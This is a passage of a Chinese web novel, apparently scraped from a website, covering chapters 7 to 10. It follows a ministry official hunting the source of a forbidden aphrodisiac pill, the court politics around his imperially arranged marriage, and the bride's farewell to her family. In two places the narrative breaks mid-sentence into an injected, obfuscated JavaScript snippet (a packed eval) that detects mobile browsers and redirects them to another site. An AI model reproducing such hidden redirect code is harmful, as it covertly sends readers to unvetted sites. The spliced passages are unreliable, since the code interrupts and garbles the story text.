熊坤点点头:“若非大人您提醒,叫他们检验时带好护具遮掩口鼻,连司药监的药师都险些中招,幸好旁边的人及时用冷水激面……” 泊舟听到一半,突然看向房遂宁:“主子你……没事吧?” 熊坤不知所谓:“大人怎么了?” “我记得主子将那药丸交给我时,外面原本的蜡封就是破的,重新包过。” 熊坤一愣:“大人,您直接接触过那灵肌丸?” “……我没事,已经用过解药。” 司药监的人交代时语焉不详,只说接触鹊脑中毒者,并无行之有效的解药,便只能放出毒血,但放血之量甚大,可能危及生命,也因此遭到官府的禁绝。还有一种可能的解毒之法,能泄去体内经络淤积的毒气,所谓堵不如疏…… 熊坤尚在疑惑,听房遂宁冷声道:“给我找到这禁药贩卖的源头。” “是。” “这药罕见,除了药肆医馆,西市货行,还有寺庙道观——所有制作和流通药草的场所都需留意。”房遂宁命令。 熊坤面露迟疑,前两项都还好说,这最后一项却有些为难。京畿的寺庙道观大多来头不小,背后不是皇亲也有贵戚。如此兴师动众,况且查的还是春.药,难免要惹出麻烦。 不过他这位上司,是从来不怕事。 房遂宁看了他一眼:“有问题么?” “……没有。属下领命。” “那就好。派人盯住那个夜来。” “大人,不先将人拿下么?她定有问题。” “还不到时候,你——” 房遂宁话说了一半,眉头深深拧了起来。 泊舟顺着房遂宁的目光,只见不远处岸堤上一队人马装束整齐,正朝他们所在的码头而来。 领头的是房府管家房衡,他独自走上前,到房遂宁面前站定了,恭声道:“郎君,老奴来请您回府。” “谁告诉你们我在这儿的?” 房衡不答,目光下意识飘了一下。 房遂宁冷冷转眸,熊坤被他眼神扫到,登时头皮发麻:“老、老大……我也没办法,是尚书大人他问——” 他点点头,伸手按在熊坤肩头:“好样的,提举大人。” 熊坤苦着脸,转头看向泊舟试图寻求支撑,后者移开视线,以免主子的怒火伤及无辜。 房衡身后跟着的几个家丁不着痕迹地散开来,俨然一副要捉人的架势。 “我还有事,结束了便回。” 房遂宁说完便要绕开,却被房衡伸出手臂拦住了。 “老爷在家里找人,见您数日不回,大发雷霆,让我们必得把您带回去!——泊舟,你一直跟着少郎君,他大婚在即,怎么不劝劝??” 泊舟如同聋了一般没有反应。房衡只能使了个眼神,几个家丁包抄上来,将房遂宁围在垓心。 房遂宁冰冷的视线自上而下缓缓垂落——方才围上来的一名家丁急切了些,竟伸手扒住了他的袖管。 “你们要做什么?押我回去么?” 他语速极缓,眸中冷光却似一把快刀。 少郎君从来不让人近身,何况如此冒犯?那家丁是房衡远方外甥,眼看难逃一劫,房衡咬咬牙,一巴掌甩在外甥脸上,啐道:“作死的杀才!滚远些!!” 这一巴掌动静不小,那家丁半边脸登时红了,捂着脸退开老远。 “管家虚张声势的本事果然高超。”房遂宁冷笑。 房衡头皮发麻,他知道少郎君眼神毒辣,不是好糊弄的——那一巴掌虽然看上去厉害,实则用了不到三成的力道。 他哀求道:“郎君息怒!实在是没办法了,您今晚若是不跟我们回去,我们也回不去的……求郎君别为难老奴啊!” 房遂宁下颌绷得愈紧,眉宇间蓄着怒火,冠玉一般的面孔犹如冰霜笼罩。 “滚。” 房衡忙将手一挥,家丁们走到码头边沿,分开两列,给房遂宁让了一条道出来。 房遂宁微微侧头,看向熊坤方向。后者方才吃了瓜落,心里正忐忑,见状急忙上前。 “蹲守象犀街,有任何异动,都来报我。” 熊坤心神一凛:“是。” 码头悬着的灯笼被风吹动,一簇火光在房遂宁深色的眸子里晃动,他冷冷睨着熊坤:“若这点事还办不好,你也不用再来刑部报道了。” “属下明白。”熊坤低声应道。 泊舟落在最后一个,走下码头台阶时被熊坤扯住衣袖:“大人他怎么不罚我……不会生我的气吧?” “熊提举厉害啊……”泊舟只撇了撇嘴。 熊坤看一眼房遂宁远去的身影,苦着脸道:“兄弟,我也是没办法啊!尚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024506|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书大人亲自询问,我怎敢不说?你、你帮我在大人面前解释解释……” 泊舟不为所动:“主子的脾气你不知道么?他最恨自己人出卖,你这不是自触杖藜么!” “出卖?我没有啊!我怎么会出卖大人呢?!尚书大人他也是受左相所托,大人的长辈,又是咱们顶头上司,我怎么敢违逆啊……”熊坤急得几乎口吐白沫,“再说了,大人大婚在即,家里这不也是担心嘛……” “哎呀好了熊提举!别在这磨叽了,大人的婚事是你操心的么??” 眼看主子在前面越走越远,泊舟被他揪着没办法,一甩袖子,“主子还肯交事情给你办,就不算对你定谳了。只要把他交代的事办漂亮了,否则你说再多也没用!” 熊坤被他点通这一层,立时如释重负:“是、是……兄弟你说得对!让大人放心,熊坤定不辱使命!!” 房府为接郎君回家,甚至专门驾了马车来,四辆高头大马拉着丞相府锦缎宝顶的马车停在访仙阙门前,十分惹眼。 房遂宁见这架势,哼笑一声,越过马车径直上了自己的马。房衡无奈,只能带着人一路小跑跟在后面。 好在郎君但是没再使性子,穿过万祀大街,便打马进了隆兴坊。 泊舟见后面人跟得不紧,上前一步道:“主子,您为何这么盯着那卢祭酒不放?” 象犀街是卢序槐的别院所在,方才房遂宁的命令,便是要重点关注卢。 房遂宁目视前方,压低声音:“你可记得,一个月前查办‘恶钱’案之时,户部账目中那笔去向可疑的银钱?” “记得……所以,那银钱源头在卢祭酒的头上?”泊舟后知后觉,“——对啊,卢序槐频频流连欢场,颇为青睐的便是歌伎夜来,流水价的银钱都花在了她身上。国子监祭酒一年的俸禄不过禄米四百石,哪来的本事为鸣珂曲的花魁一掷千金的……” 房遂宁沉眉不语。 泊舟打量他神色,知道主子这阵子心中一直憋着股气。 案件正查到关键处被圣上叫停,但房遂宁并没有放弃,为免打草惊蛇,他没有直接去查那卢序槐,而是暗中盯着那叫夜来的歌伎。他们带着人在夜来的别院附近蹲守数日,趁她某日出行,潜了进去。 正一无所获时,房遂宁发现了佛龛上供着的一尊造型别致的菩萨像。他听出菩萨腹内中空,隐隐有异响。于是从那菩萨腹中,取出了一只巴掌大的木盒。 那木盒处处透着古怪,还有股幽幽的奇香,房遂宁心知有异,并未当场打开。 “主子,那盒子里装的便是灵肌丸?您将灵肌丸带去了别院?” 房遂宁蹙眉。 那夜房遂宁在画麟阁中研究那木盒,他知道那盒子有异,动作原本十分小心,正对着烛火细细端详,忽听得有女人出声,一分心,不慎按动了那盒子上的开关。虎口微痛,才察觉一根竹刺扎进手里。 后面的记忆,便十分模糊了…… “——那‘灵肌丸’的解药,您到底从哪里得来的?” “没有什么解药。” “那您怎会……?”泊舟疑惑着回忆,“那夜,属下在麟趾山脚的馆驿等着主子一道回城,天尚未亮,您便下了山……” 他记得,房遂宁让他迅速召集人马,回程沿途搜查有无可疑人物。那时他还微觉奇怪,那个时辰皇城已经宵禁,无通行禁令者难以擅自行动,哪里来的可疑人物。 那一整日,房遂宁的状态都有些奇怪。现在想来,或许便是因为中过毒的缘故。 泊舟感叹:“多亏是主子从小修道,定力不一般!那么厉害的药物,若是寻常人,怎能抵受得住?” 房遂宁眸光微动,半晌道:“最近别院附近,有无见过生人?” “别院地处偏僻,甚少有人会往那方向去,就连府里人都不知具体位置——主子为何这么问?” “……没什么。” 回想那夜画麟阁的境遇,他总以为是梦,梦里人的面孔模糊,怀中的触感却十分清晰。醒来后眼前残余一片凌乱,揉皱的道袍和四下旖旎的痕迹,都清楚地昭告:那不是梦,他在欲.火烧身之时,和一个神秘女郎共赴了巫山。 若不是因为这灵肌丸,他怎会失控至此?自六岁入道,十五年清静自守,一朝破功,竟然是这样的体验…… 房遂宁攥着缰绳的手不自禁握紧。 就在圣人指婚的那一夜,竟然遇到这样的事情,他不能容忍这样的意外。查恶钱案这么久,忽然有种黄雀在后之感。 是有人针对他下的套?竟然能不知不觉潜入他的禁地,他率人在宵禁后的玉京城搜索可疑的踪迹,除了半路上遇到回府途中的郑远持,并无特别所获。 他不信那神秘女子真会是什么山中精怪,想必和郑家逃不了干系。 “终于回家啦。”泊舟望着前方隆兴坊的门楼,感叹了一句。 “郎君回来了——!” 厚重朱门缓缓开启,“辅翼国政”四个金光闪闪的大字牌匾下,房家少郎君被一行人簇拥着回到了家。 8. 第 8 章 岁安堂内,裴夫人捻着串佛珠,在香烟缭绕中半阖着眼。 “……夫人有机会,还是好好宽慰一二,莫让表小姐再做出什么不合适的举动,上次遣人去郑府,这也实在有些过了,好在人家没说什么。” 裴夫人叹了口气,正要说什么,听见外面动静。二人一起抬头。 “桡哥儿回来了!” 秦嬷嬷快步迎上前,便闻到房遂宁身上浓重的脂粉气,忙吩咐婢女:“给郎君端碗热汤来,去去酒气。” “多谢嬷嬷,我没饮酒。” 房遂宁稳步走到裴敏面前,端正行礼:“母亲,我回来了。” “坐吧。” 房遂宁一撩袍,在裴夫人下首落坐。 “知道你公务繁忙,但圣上赐婚,连你父亲都不得不慎重。提亲的时候没有登门,已经让人拿了话头,如今婚期已定,就在下月初六,要尽快着手预备,这才让人去请你。” 裴夫人这话说的尚给儿子留了些面子,实则房速崇的原话是:把这小子给我捉回来,别在成亲之前再折腾出什么人命,太不吉利! 三月初六,只剩二十余天筹备了。这是不顾一切,要让两家尽快完婚的节奏。 “儿知道了。” “循园已经让人在收拾,去看看还有什么缺的漏的,告诉秦嬷嬷,她着人去办。” 房遂宁自从十四岁结束修行回到家中,便入住了与房府毗邻的循园。他自幼漂泊在外,本就不喜欢左辅右弼的排场,自从进了六部,朝廷为刑部职官的居所增加守卫,循园便借此和房府彻底分隔开来,虽然是一家,但两个院子日常并不互通,就连房速崇夫妇要去循园,也需绕一大圈从正门入。 不过这些年除了节庆和一些特殊的日子,房遂宁大半时间都宿在刑部衙署,与家人之间的互动也极为稀少,循园里自然也是常年没什么人气。 如今房遂宁成婚,也总算能名正言顺地以准备婚仪的名义将循园装点一番。 房遂宁语气依旧平平:“母亲看着办,怎么都好。” 裴夫人凤眸微凛,细细打量着他,试图在儿子脸上寻找一些真实流露的情绪。房遂宁若有所察,抬头和母亲对视,平直的唇角略带敷衍地勾了勾:“您还有何吩咐?” “贵妃娘娘请了裁衣局的宫人,明日一早来替你量体做婚服。改日进宫时,记得顺道去凤藻宫谢个恩,你姨母一向待你如亲生,你的婚事她颇为上心,切莫忘了。” “儿记得了。” “你父亲正在书房里陪客,他有话要同你讲。要么,你就在这里等他一会。” “是。”房遂宁颔首,捏起手边的茶杯抿了一口。 裴夫人见儿子没什么要说的,收回视线,看向秦嬷嬷:“你继续吧。” 秦嬷嬷便道:“郑家那边,一应的礼仪规矩都已教完。回来时,李夫人让把他们筹备的嫁妆单子带过来,请夫人过目。” 她从袖中取出一只红封,呈递过去。 裴夫人接过,只觉沉甸甸地压手,将册子展开,只听“哗啦”一声,层层叠叠的红纸便如同巨幅的扇面一般,一路坠到了地上。 ……这么多! 秦嬷嬷愣了愣,连忙上前,帮着将那份长得离谱的单子收拢回夫人手里。 裴夫人垂眸看了两页:黄花梨攒海棠花围拔步床一架,红酸枝木罗汉床一张,紫檀木透雕贵妃榻一张,金银灯树各一盏,玉如意十柄,香檀合页屏风两扇,南海大珠百斛…… 除了首饰珍宝,锦缎丝帛,古玩乐器,生活器具等等,更有散布于京畿、江南各地的房产、铺子、田庄,价值万金不止。 她不再细看,缓缓将册子合拢。 “如此丰厚的嫁妆,怕是房府和循园加起来都塞不下,郑家女儿果然金贵。” 房遂宁看向裴夫人手里捏着的册子,唇角勾出讽刺笑意。 大祈虽有律法严明规定,婚礼不得奢靡,更是禁止以婚姻论财,但嫁妆属于妻子个人的赀玩,也是女儿离开母族的最后体己,于情于理始终未能禁绝。渐渐地,嫁妆是否丰厚,代表着女儿在家里是否受到珍视,更影响到出嫁后夫家如何对待。 民间甚至有过因家里贫穷,凑不齐一份体面的嫁妆,成亲之日姑娘在房中嚎啕大哭,不肯上花轿的情形。 郑氏这张丰厚的嫁妆礼单,与房家送去郑家的彩礼相比,简直是霄壤之别。更是一反郑远持这些年来低调行事的风格。似在态度鲜明地告诉房家:能娶走我的女儿,是你们的福气。 更或者,无人能配得上我的女儿。 房遂宁收敛笑意,站起身来:“儿不打扰母亲,去父亲院子里等。” 裴敏颔首,目送着儿子的背影迈步出门,看向秦嬷嬷。 “那丫头怎么样?”这是在问郑薜萝了。 “温柔知礼,虽然养得金尊玉贵,倒看不出什么太过骄矜的毛病……” 秦嬷嬷沉吟着,想想还是没将传授《素女经》时的插曲讲给夫人,又道,“她和宁安公主似是关系不错,我从郑府出来时,正遇上公主来找郑家姑娘。” “宁安公主……”裴夫人若有所思。 - 房遂宁沿着抄手游廊一路进了东院。书房的门紧闭,一个红衣宦者正侯在廊下,听见脚步声,转头看了过来。是东宫身边的近侍高公公。 高公公面上带笑,快步走下台阶,朝房遂宁叉了叉手:“还未恭喜郎君。” “公公客气。” “婚期已定,郎君定然有得要忙了!” 房遂宁淡淡道:“我倒是还好,只是恐怕劳动一大帮人跟着操劳。” “嗳,郎君说得哪里话,这是圣人赐婚,宫里府里都当做是最大的喜事来办,好久没这么热闹过了呢!” 高公公近距离打量着房家郎君,内心只纳闷,这样一副日角珠庭的骨相,怎会背地里被人唤作“阎王”? 心中想着,口中只叹,“这样天造地设的因缘,叫咱家也羡煞!” 房遂宁轻轻一笑,并不言语。 高公公见四下无人,压低声音道:“郎君恐怕还不知,郑侍郎已经正式迁任枢密使了。” 枢密使一职,一般只是用于过渡,郑远持现任户部侍郎,户部尚书之位空悬已久,这一天迟早要来。 房遂宁扬眉:“哦?那更应该恭喜我这位准岳丈,熬了这么些年,终于荣升户部首官。” “不是户部。” 高公公摇头,献宝一样更凑近了些,“圣人亲拟的旨意,有意封郑大人为尚书右丞,圣旨已经到了郭尚书手里——如此,你们房郑两家,可不就是真真正正的门当户对!” 吏部尚书郭选乃是皇后的亲兄弟,官员擢选这样的消息,东宫自然是第一时间得知。 正说着,书房门忽然推开了,一身常服的太子李邺迈出门来。 房速崇跟在后面出门,面色并不十分好,看见房遂宁,更添了几分压不住的愠气。 “荪桡!有阵子不见!” 太子走过来,亲和地拍了拍房遂宁的肩膀,后者敛眉退后半步,向储君行稽首礼。 “房遂宁参见殿下。” 房速崇准备亲自送太子出院,却被太子拦住了:“房相留步,孤许久不见荪桡,和他叙叙话。” “也好,”房速崇看了儿子一眼,沉声,“ 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房遂宁并未揭穿,只是淡淡敛眸:“殿下说得是。” 太子突然停了脚步,在九曲桥上站定了,转过身来。 “荪桡,你出身房氏,便该知道,这桩婚事,并不仅仅是两个人的事而已。” “……臣明白。” “你不明白。” 太子的语气变得严肃起来,“如今郑远持连升两级,即将擢升尚书右丞,将来便是和你父亲比肩,六部各领其三——让一个商户出身坐到如此高位,这是父皇权衡朝局,在有意抑制世家大族,所以房郑两家联姻,是世族不得不做出的姿态!” 他将手中折扇一合,扇骨在房遂宁的肩头点了点。 “该做的表面功夫还是得做,不要抓着郑远持不放。往后兵、刑、工三部,皆由他来署理,他除了是你的岳丈,也是你的顶头上司,若再闹到父皇面前撕得难看,于你、于房家,能有什么好处?” 房遂宁垂眼,盯着太子折扇扇褶上的青翠竹叶,平声道:“微臣掌管刑名,只看事实真相,并没有揪着谁不放。” “孤知道你在查卢序槐,郑远持在国子监时与他同期为官,二人之间有无利益勾结,的确难讲……孤听说,郑远持这回给女儿预备的嫁妆耗资甚巨,疑犯他在京十数年为官的低调勤俭。他这么做是什么意思,你可明白?” 房遂宁撩起眼皮。他自然明白,这一笔“巨额”嫁妆,除了在向房氏示威,也是昭告朝野,郑氏乃江南第一富商,身有万贯家产,乃世代经营所得。他郑远持没有必要去贪,更不怕任何人来查。 他冷笑,锋利的薄唇轻吐:“没有禁不住查的人。” “你看看,还说没有揪着人不放!孤真是不懂,郑远持究竟哪里得罪了你,倒比你父亲还要执着……” 太子苦笑着揉了揉眉心,“不要太拼命了,案子是查不完的!趁着成婚,好好休个假,放松放松,清河房氏一族,将来唯有靠你啊!” 类似的话,自幼不更事时长辈们便不停地灌输给房遂宁,从孩提懵懂,到少年沉郁,如今听到一双眼里只剩淡漠。 “你既娶了郑氏女,你为夫,便是纲,她需得从你。若真无什么感情,来日再娶可心的回来作媵妾,她又有何话可说?” 太子换了副语气,低声:“实在不行,委屈一阵,待风头过去,寻个错处将郑氏休了,再将你那裴家表妹娶进门,也是一样的……” 房遂宁抬眼与太子对视,终是笑了笑。 “微臣,多谢殿下指点。” 9. 第 9 章 连太子都出面劝诫,房家的拼命三郎终于不再执拗,踏实在循园住下,接连数日未曾迈出府门一步。 进了三月,婚仪的筹备到了收尾阶段,房郑两家的紧张气氛益发浓厚,人人忙得脚打后脑勺。各自按照礼部的规制,一遍遍核查议事所需的一应器具、迎亲障车、婚房的布置…… 房遂宁作为婚仪的主角,却无人敢再去多要求他些什么,只要新郎官能在指定的日子出席便好。 婚礼前三日,宫中传出消息,将有皇子代表皇室出席婚仪,更让两家紧张了不少。礼部司仪官更是特地登门,来向房遂宁最后传达一遍婚仪的流程。 “……初六那日,郎君须得于辰时二刻,准时到达郑府亲迎新妇,接引出门。您需要亲手将妻子扶上婚车,接回府中。” 司仪官见房遂宁神色散漫,不得不在“亲手”二字上着重强调。 “知道了。还有什么?” 房遂宁姿态倒是端正,面上的不耐却已经颇为明显。礼仪官觑着他神情,欲言又止:“旁的……倒也没什么了……” 按照民间习俗,婚仪还会有“弄女婿、戏新妇”的环节,不过这些本是为了热闹烘托喜庆气氛的环节,这房郑两家结亲,只须把流程太平走完,面子上过得去也就是了。 所有事项交代完毕,司仪官适时告辞出了门。正好泊舟从外面回来,脚步匆匆进屋,将门从里面阖上。 “主子,夜来失踪了。” “什么时候的事?”房遂宁眼皮一掀。 “熊提举带着人在鸣珂曲和象犀街两头蹲守,一连数日都没有动静,今早接到教坊司报案,说歌伎夜来失踪。” “卢序槐呢?” “卢祭酒告病七日不曾上朝,今早天不亮便坐了顶小轿,去了罗甸街。” 房遂宁眸中凛起寒意。 “好啊,又是郑家。” - 毗邻户部衙门的罗甸街,自从上旬起就车马不断,上门道贺的人如流水一般。 郑氏嫡长女即将嫁入房氏,又传郑远持将于不久擢升,成为大祈建朝以来最年轻的尚书右丞——算得上是双喜临门。 三月三开始,郑府正门紧闭,谢绝一切来访。接连数日应付以道贺为由,前来汇报公务、打探口风的人,郑远持终于觅得一刻清净。 他从书房出来,信步至中庭,脚步一顿。 郑薜萝正抱着膝,望着灯火通明的庭院发呆。 礼记有云:嫁女之家,三夜不息烛火,思相离也。从暮色降临时,四处便点起庭燎,照亮了府院的每个角落。 一连数月阖府上下的忙碌,似乎在一瞬间放慢了。 郑远持默默站在廊柱一侧。有个梳着双髻的丫鬟经过,看见独自坐着的郑薜萝,便特地绕过去,轻唤一声“姑娘”。 郑薜萝抬起头:“掬霜?是母亲有什么吩咐么?” 掬霜摇摇头,将手里的一只纸袋捧上前:“吴妈妈见街边卖糯米糕的铺子还开着,特意买了些回来,说姑娘爱吃。” 郑薜萝一怔,将纸袋接过。掬霜欲言又止,略一屈膝,最后还是走开了。 “怎么不尝尝?晚饭看你也没用多少。” 郑薜萝转头,眸光微亮:“父亲。” 郑远持按住女儿将欲起身的肩膀,在她旁边坐下:“你母亲听吴妈妈说的,你爱吃这个,才叫人买回来的。” 郑薜萝看着手中的纸袋出神。 最初来到玉京时,她对这里的一切都极不适应。母亲对她颇为严厉:除了琴棋书画,一应生活习惯都被严格规训,要养出淑女洁白整齐的一口贝齿,需戒掉她自小就喜爱的甜食;乡音被刻意纠正,和人交谈时要说流利的官话…… 看着一连数日饼、面为主食的餐桌,幼年的郑薜萝实在不能习惯,接连几顿饭不曾动筷。对此李砚卿也只是淡淡道:不吃就饿着。 糯米糕的执念,是郑薜萝和吴妈妈之间的秘密。最初发现那家来自宣郡的老板开的铺子时,她兴奋地指给吴妈妈看。 这是她与吴妈妈之间的秘密,那日偷跑出门,她才会以糯米糕为借口,瞒过吴妈妈,也瞒过家里的所有人。 “你是她的女儿,你喜欢什么,你母亲如何会不留心?”郑远持叹了一口气。 郑薜萝沉默半晌。 “其实,女儿不想嫁给房遂宁。” 郑远持一怔。他似乎从未在女儿口中听到如此明确的“不愿”。 尽管所有人心中清楚,这桩婚事对郑家而言,是身为人臣顾全大局的“承恩”,而对郑薜萝而言,却是一块从天而降的巨石,将她牢牢圈禁。 “为父知道。” 庭燎之下,温黄的暖光照亮府院,与父亲并肩而坐的姿势,让郑薜萝回想起幼时鲜少的父女时刻。 她侧过脸,郑远持眼角细密的纹路近在咫尺,心中一时有种一吐为快的冲动。 “其实,我想过一走了之。得知婚讯的那一天,女儿等到很晚您都没有回来,于是我——” “是为父对不起你。”郑远持不忍再听。 郑薜萝不曾见过父亲如此颓唐的样子,好不容易攒起的勇气被冲溃,她闭了闭眼,缓缓摇头。 “我知道父亲也不想女儿嫁,也曾经想要找外祖想办法。” “你母亲她——”郑远持正想开口,郑薜萝却抢先道:“我不怪她,女儿知道,母亲是对的。” 郑远持微愣,这句话原本他常对女儿讲,他点了点头,又叹一口气。 “若不是那一年你在你祖父家落水,大病一场,我们看到你那时的状况,才决定将你带回身边。” 蓁州祖宅虽大,产业众多,家中熙熙攘攘,皆为利来,无人顾得上年幼的郑薜萝。李砚卿更是担忧,在这样的环境下,女儿的教养恐怕就此废弛。虽然二人也曾动过念,要将郑薜萝送回宣州外祖那里,可终究不是长久之计——薜萝的舅舅在宣州照顾年事已高的父母,再替他们看护女儿也难免周全,恐怕日后更引龃龉,便作罢。 “女儿明白您和母亲的苦心。我初来玉京时,您刚进户部,每日忙得不可开交。母亲要陪着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024508|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您,又要应付外面的人情往来,常常回得很晚……在我们面前,有时连说话的力气都没有。” 郑远持忆起当年辛苦,一时动容。 郑薜萝莞尔一笑。 “倘若当初让我一直留在江南,也不会有这么多烦恼了。是不是,父亲?” 郑远持哑然。因为圣人指婚,他心中曾经有过同样的后悔。但面对女儿,如何能坦率的承认? 郑薜萝抬头,平静道:“父亲,女儿想通了,如果婚姻是必须承担的使命,至少让女儿为您分些忧。” “为父有什么忧,需要你来分?”郑远持皱眉。 “房遂宁,他是不是一直在揪着您不放?” “……这不是你操心的事。” “我若嫁他,以后和您有关的事,他都需回避,对不对?” 郑远持的眉头紧紧拧了起来。 虽然他鲜少将公事带回家,但这一阵子房遂宁调查户部的事,在朝野传得沸沸扬扬,她又怎可能一无所知。 郑薜萝仰头看天,一轮新月细如眉,一半隐在云后。 半晌,她转过脸来,看向父亲:“女儿出嫁,既能全了郑氏的忠,也能为父亲解围,怎么不算两全?” 郑远持哽住。 这话如同一块巨石堵在他胸口。这些年朝野纵横,勾心斗角,谁人可称“良善”?阿萝却如此无条件地信任着自己,甚至要牺牲终身的幸福。 “已经任性过了,不能再放肆了……”郑薜萝低声喃喃着。 郑远持将女儿的柔荑握在掌心,缓声道:“傻丫头,我们对你,终究是亏欠更多些。” 郑薜萝摇了摇头,捻着裙腰上的流苏珠串:“女儿出嫁那天,祖母能来么?” 看着女儿亮晶晶的眸子,郑远持不忍道:“你祖母年事已高,去年秋天刚病了一场,这么远的路程,舟车劳顿太耗精力……” “是了。女儿明白的,只是随口一问。” 郑薜萝眸子里的星点光亮黯了黯,又恢复了淡然。 在玉京这些年,她最思念的人便是祖母,起初每晚入睡时,想家的情绪偶尔会让她沾湿了枕巾。 “为父已经修了封家书回去,将你的婚事告知了祖母,你是她最心爱的孙女,她会高兴的。” 郑薜萝点头:“嫁入清河房氏,又是圣人指婚,女儿这桩婚事如此体面,祖母她老人家自然会为阿萝开心!” 听出她努力宽慰自己的口吻,郑远持心头愈发酸涩,“你知道么,那嫁妆也是你母亲的意思,她不想看你受委屈,也只能用这种方式,为你托底……” 郑远持咬了咬牙,将郑薜萝的手攥紧。 “若在那边过得实在不如意,只管叫那房遂宁写一纸和离书来。如今和离再醮也并非新鲜事,凭着我的阿萝这样的条件,什么样的不愁找?” 郑薜萝抿唇,眸光被远处的烛火点亮。 “父亲说得对,” 她回过头,冲郑远持眨了眨眼。 “到时候,我就听成帷的,去嫁个状元郎来。” 10. 第 10 章 三月初六,天朗气清,风和日丽。 泰半玉京城的百姓皆知,今日是房郑两家结亲的日子。 隆兴坊内,占据半坊之地的丞相府,远望如被祥云缭绕,朱户甲地,楼阁参差,有丝竹管乐之声盈耳。 房速崇与裴敏夫妇二人盛装华服,端坐高堂。曲乐喧嚷中,身着爵弁的房遂宁在礼仪官引导下迈进堂屋,于父母面前行跪拜礼。 得见儿子逾冠岁终于娶妻成家,房速崇这些日子心里郁积的不快散去大半。 “时辰已到,往迎汝妻,承奉宗庙!” 房遂宁稳稳起身,面上不见一丝情绪,犹如随节奏行动的假人。 裴夫人将视线从儿子身上移开,低声:“去吧。” 从丞相府到罗甸街,几乎跨越大半玉京城,沿路设置禁断,红绸如云一路绵延至永宁坊。街上百姓人头攒动,高声呼喊着吉祥话,便有家丁从锦袋中掏出喜糖喜饼,漫天挥洒,惹得一阵哄抢。 如此声势浩大的婚仪,甚至劳动了京兆尹府出来维持秩序,今日执勤的官兵衙差们自然也得到了丰厚的红封,扛着长枪或是手执仪仗的均是喜笑颜开。 房遂宁坐于障车之中,对外面的热闹充耳不闻。 与此同时。郑府。 郑薜萝身着翟衣,脚踩羽舄,如被花团锦簇围绕,行动间葳蕤生光,在傧相搀扶下迈出西厢,一路行至家庙。 金线绣着凤凰的团扇半遮在眼前,新娘稳稳地跪下去,宝钿礼冠沉沉地压着头,她的姿态却依旧稳重,鬓边华丽的花树步摇几乎没有大幅的晃动。 “新妇辞行祖先!” “拜别父母!” 三叩首罢,郑薜萝直起身子。 按照规程,接下来,需由父母向女儿提出“结缡三命”。郑远持张了张口,却未能发得出声音。 外面的曲乐声凸显堂内寂静,郑薜萝微微降下手中团扇,端坐的夫妻二人看见她扇后露出的笑眼,似有宽慰之意。 李砚卿眸光微动,转头见丈夫额间横纹深如沟壑,显然强忍着胸臆涌动的酸楚。她扶住丈夫手臂,朗声:“薜萝,今朝你嫁为房家妇,往后侍奉夫君,切记敬之慎之,夙夜无违。” 曲乐声陡然高亢,遮住她微微发颤的尾音。 “是。” 郑薜萝再度埋首,将额头贴向冰凉的玉石砖面。 郑远持撑着扶手站起身,朝女儿缓步走过去。 “收好。” 郑薜萝愣住。父亲递过来的是一条青色的巾帕,缝边处的针脚已有磨损。 “这是……” “你祖母寄来的,说要交给她的娞娞。” “娞娞”是祖母对她专有的亲昵称呼,如今已许久不曾听过。郑薜萝心头一酸,伸手接过那帕子,掌心触到凸起的花纹,是祖母一针一线亲自为她绣上的丝萝。 她被接到蓁州时才只有三岁,有段日子半夜时常惊醒啼哭不止,都是祖母搂在怀里轻拍着,一边唱着歌谣,一边哄着重新入睡。 祖母亲手替她做了个小枕头,还有这条带着她气味的锦帕,给予幼年的郑薜萝满满的安全感,陪着她长大。 只是这锦帕后来不见了,怎么也没能找到,还因此和堂姐起了纷争。曾经还以为,她再也看不到这方锦帕了。 郑薜萝将枕巾在手心攥紧,眼眶渐渐发红。 “障车来啦!” “新郎官到了!!” 喧闹的人声伴随着杂乱的脚步涌了进来,郑薜萝将枕巾收进怀中,站起身来。 新郎一身喜服,挺拔的身影如同鹤立鸡群,在人群簇拥之中迈步进门。 迎着众人好奇的目光,房遂宁一路走进中庭,忽然听得人群中响起一个稚嫩的声音。 “是姐夫么?” 郑成帷闪身逃脱了嬷嬷紧抓着的手,一下冲出了人群。他仰起头,好奇地打量着新郎官装束的房遂宁。 这姐夫……真高啊。 房遂宁没料想到会被一个孩子拦在道中,他听说过郑家有个不到十岁的庶子,想来便是眼前的这位。 他冲郑成帷客气地笑了笑,身后便有人过来,拿出一包花生糖要哄走孩子。 孰料,郑成帷却摇了摇头,认真地看向他:“我听说,新郎娶新妇需得经过一番考验才行,姐夫以为呢?” 此言一出,在场众人面色登时精彩。郑成帷瓮声瓮气,让人没法和一个八岁小儿较真,却又不好硬闯过去。 房遂宁抬眼,郑远持夫妇端坐在正堂看着这一切,并无要干涉的迹象。 他蹲下身子,看着郑成帷,嘴角扯出逗弄的笑意。 “弟弟要如何考验?投壶,还是解连环?” “才不是那些小玩意儿……” 郑成帷听他将自己当做小孩逗弄,嘟起了嘴,脸蛋红红的,“你也不是大将军,刀枪棍棒恐怕不大行……” 他歪着脑袋琢磨,语气颇有嫌弃之意,人群里冒出笑声。房遂宁嘴角微抽。 “那就……请姐夫专门给姐姐作一首诗吧!” 这小子。房遂宁挑了挑眉,抬头扫了一眼厅中,仆妇环绕间花团锦簇,隐约可见珠翠华丽的新妇身影。 团扇之后,那双黑白分明的眼睛也正不偏不倚地望过来。 本来娶亲也有作“ 